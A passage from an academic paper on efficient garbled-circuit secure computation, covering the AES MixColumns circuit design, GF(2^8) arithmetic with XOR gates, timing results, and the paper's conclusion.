to compute s′c(x) = a(x)⊗ sc(x), where 0 ≤ c < 4 speci-
fies the column, a(x)= {03}x3+{01}x2+{01}x+{02},
and ⊗ denotes multiplication over finite field GF(28).
Let sc(x) = s3,cx3 + s2,cx2 + s1,cx + s0,c and s′c(x) =
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Figure 8: Inverse Circuit over GF(28).

s′3,cx3 + s′2,cx2 + s′1,cx+ s′0,c. This is equivalent to

s′0,c = ({02} ⋅ s0,c)⊕ ({03} ⋅ s1,c)⊕ s2,c ⊕ s3,c

s′1,c = s0,c ⊕ ({02} ⋅ s1,c)⊕ ({03} ⋅ s2,c)⊕ s3,c

s′2,c = s0,c ⊕ s1,c ⊕ ({02} ⋅ s2,c)⊕ ({03} ⋅ s3,c)

s′3,c = ({03} ⋅ s0,c)⊕ s1,c ⊕ s2,c ⊕ ({02} ⋅ s3,c).

It follows that:

s′0,c = ({02} ⋅ s0,c)⊕ ({02} ⋅ s1,c)⊕ s1,c ⊕ s2,c ⊕ s3,c

s′1,c = s0,c ⊕ ({02} ⋅ s1,c)⊕ ({02} ⋅ s2,c)⊕ s2,c ⊕ s3,c

s′2,c = s0,c ⊕ s1,c ⊕ ({02} ⋅ s2,c)⊕ ({02} ⋅ s3,c)⊕ s3,c

s′3,c = ({02} ⋅ s0,c)⊕ s0,c ⊕ s1,c ⊕ s2,c ⊕ ({02} ⋅ s3,c).

The operation {02} ⋅ b is defined as multiplying b by
{02} modulo {1b} in GF(28). If b = b7 ⋅ ⋅ ⋅b1b0, and
z = z7 ⋅ ⋅ ⋅z1z0 = {02} ⋅b, the output bits can be computed
using only XOR gates:

z7 = b6, z6 = b5, z5 = b4, z4 = b3 ⊕b7,
z3 = b2 ⊕b7, z2 = b1, z1 = b0 ⊕ z7, z0 = b7

For every column of 4-byte numbers, the equations
above are implemented by the MixOneColumn circuit
(Figure 9). Each invocation of MixColumns involves
processing four columns, so we can build the Mix-
Columns circuit by juxtaposing four MixOneColumn cir-
cuits. Thus, the MixColumns circuit can be implemented
using only XOR gates.

7.3 Results
Using the first (online-minimizing) SubBytes design,
there are no non-free gates and 160 oblivious table
lookups. The total time for the computation is 1.6 sec-
onds without preprocessing. With preprocessing, the on-
line time to evaluate the circuit is 0.008 seconds (since
the evaluator can always identify the right entry in the

Figure 9: MixOneColumn Circuit.

table to decrypt), more than 50 times faster than the best
previous results [11].

With our second design, the total number of non-free
gates for the entire AES computation is 58× 16× 10 =
9280. The overall time is 0.2 seconds (of which 0.08
seconds is spent on oblivious transfer) without prepro-
cessing, more than 16 times faster than the best previous
results [11]. The online time is 0.06 seconds with pre-
processing enabled.

8 Conclusion

Misconceptions about the performance and scalability of
garbled circuits are pervasive. This perception has led
to the development of several complex, special-purpose
protocols for problems that are better addressed by gar-
bled circuits. We demonstrate that a simple pipelining
approach, along with techniques to minimize circuit size,
is enough to make garbled circuits scale to many large
problems, and practical enough to be competitive with
special-purpose protocols.

We hope improvements in the efficiency of privacy-
preserving computing will enable many sensitive appli-
cations to be deployed. Ours is just a first step towards
that goal, and more work needs to be done before se-
cure computation can be used routinely in practice. Al-
though our approach enables circuits to scale arbitrarily
and make evaluation substantially faster than previous
work, it is still far slower than normal computation. Fur-
ther performance improvements are needed before large
problems can be computed securely in interactive sys-
tems. In addition, our work assumes the semi-honest
threat model which is only suitable for certain scenarios
where only one party obtains the output or both parties
can rely on verified implementations. Efficient protocols
secure against a malicious adversary model appear to be
much more challenging to design.
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A Core Classes

The core classes in our framework are shown in the UML diagram below.
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